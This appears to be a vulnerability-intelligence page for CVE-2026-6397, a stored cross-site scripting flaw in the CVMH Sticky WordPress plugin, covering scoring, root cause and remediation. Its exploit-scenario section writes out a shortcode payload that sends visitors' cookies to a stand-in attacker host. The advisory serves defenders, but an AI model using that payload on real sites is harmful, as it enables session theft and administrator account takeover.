Skip to main content

WordPress Sticky CVE-2026-6397

| EUVDEUVD-2026-31017 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-20 Wordfence GHSA-c2q9-qp4m-w7vm
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or register Contributor-level WordPress account
  2. Delivery
    Craft post with malicious JavaScript in `readmoretext` shortcode attribute
  3. Exploit
    Submit or publish post containing injected shortcode
  4. Execution
    Victim browses to page with rendered shortcode
  5. Persist
    Browser executes stored JavaScript payload
  6. Impact
    Exfiltrate session cookie or redirect victim to attacker infrastructure

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid WordPress account with at minimum Contributor-level privileges - CVSS PR:L confirms low-privilege authentication is mandatory, and unauthenticated exploitation is not possible. The attacker must have the ability to create or edit posts or pages that include the [cvmh-sticky] shortcode with a custom readmoretext attribute value. Victim-side execution requires only that a user (including an administrator) loads any page containing the injected shortcode during normal browsing - no additional victim interaction is needed beyond the page visit (CVSS UI:N). Limiting factors include: the Contributor access requirement blocks anonymous, subscriber-level, or externally-positioned attackers without valid credentials; sites with closed user registration, no guest posting, and tightly managed contributor accounts face substantially lower realistic risk; and the payload only executes on pages where the [cvmh-sticky] shortcode is actively rendered.

Impact

The CVSS 6.4 score with vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N reflects a network-accessible, low-complexity attack requiring only Contributor-level authentication, with scope change indicating cross-context browser execution impact on victims. No EPSS score was provided in the input data, preventing probabilistic exploitation assessment. This vulnerability is not confirmed in CISA KEV and no POC exploit code is referenced in available data. The PR:L (low privilege) requirement is the dominant risk limiter: sites without open user registration, guest posting, or multi-author workflows have substantially lower exposure than high-traffic community WordPress installations. Despite UI:N in the vector (no special victim interaction beyond normal browsing), the attack is not fully opportunistic - it requires a capable contributor account. The S:C scope change elevates the real-world concern because a compromised contributor can silently target administrator sessions. Overall: moderate-to-real priority for multi-author WordPress deployments; lower priority for tightly controlled single-author sites.

Exploit ScenarioDerived

An attacker registers or compromises a Contributor-level WordPress account on the target site and creates a new post embedding [cvmh-sticky readmoretext="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>" ] - no public exploit code is referenced, but exploitation requires only basic shortcode and HTML knowledge. Once the post is published or submitted for review, any user including a site administrator who visits the page triggers execution of the injected script in their browser, allowing the attacker to exfiltrate session cookies and impersonate higher-privilege accounts.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 20, 2026

Stored Cross-Site Scripting in the CVMH Sticky plugin for WordPress (versions ≤2.5.6) enables authenticated contributors to inject persistent JavaScript via the readmoretext attribute of the [cvmh-sticky] shortcode. The payload executes in the browsers of any visitor loading a page containing the injected shortcode, enabling session hijacking, credential theft, or privilege escalation by targeting administrators. No public exploit is identified at time of analysis and this vulnerability is not listed in CISA KEV, but Wordfence has confirmed the flaw with direct code-level references.

RemediationAI

The primary remediation is to update the Sticky plugin to a version beyond 2.5.6 once a patched release is confirmed available; monitor the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/135783c5-8175-4775-a013-f1e2bef04479 for patch confirmation, as no specific fixed version is independently confirmed from current reference data. As an immediate compensating control, administrators should audit existing Contributor-level accounts and disable or remove unnecessary contributors, directly eliminating the required privilege level for exploitation. Disabling or deactivating the Sticky plugin entirely removes the attack surface with no residual risk beyond loss of the plugin's functionality. Deploying a WordPress-aware WAF such as Wordfence's own firewall rule engine can intercept known XSS payload patterns in shortcode attributes, though this is bypassable and should not substitute for patching. Restricting post/page creation permissions to trusted roles only (Editor and above) on sensitive or high-traffic sites is a targeted control with minimal operational impact.

Affected VersionsENISA

sticky 0 ≤2.5.6

Affected Packages

euvd sticky no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The CVMH Sticky plugin (CPE: cpe:2.3:a:cvmh:sticky:*:*:*:*:*:*:*:*) renders shortcodes via the cvmh_sticky_front_render() function defined in includes/functions.php (line 118), with shortcode registration in includes/shortcode.php (line 7). The root cause is CWE-79: the readmoretext attribute is passed through WordPress's apply_filters() hook - which allows third-party filter callbacks to modify the value - and then concatenated directly into the HTML output string without any output escaping function such as esc_html() or esc_attr(). This means attacker-controlled HTML/JavaScript survives both storage and rendering. The CVSS scope change (S:C) is significant here: the payload stored by a low-privilege contributor executes in site visitors' browser contexts, crossing security boundaries beyond the contributor's own session.

Know when Sticky gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Sticky plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the cvmh-sticky shortcode readmoretext attribute in versions up to and including 2.5.6. This is due to insufficient input sanitization and output escaping in the cvmh_sticky_front_render() function - the readmoretext attribute value is passed through apply_filters() and directly concatenated into the HTML output without any escaping function such as esc_html(). This makes it possible for authenticated attackers with Contributor-level access and above to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the injected shortcode.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy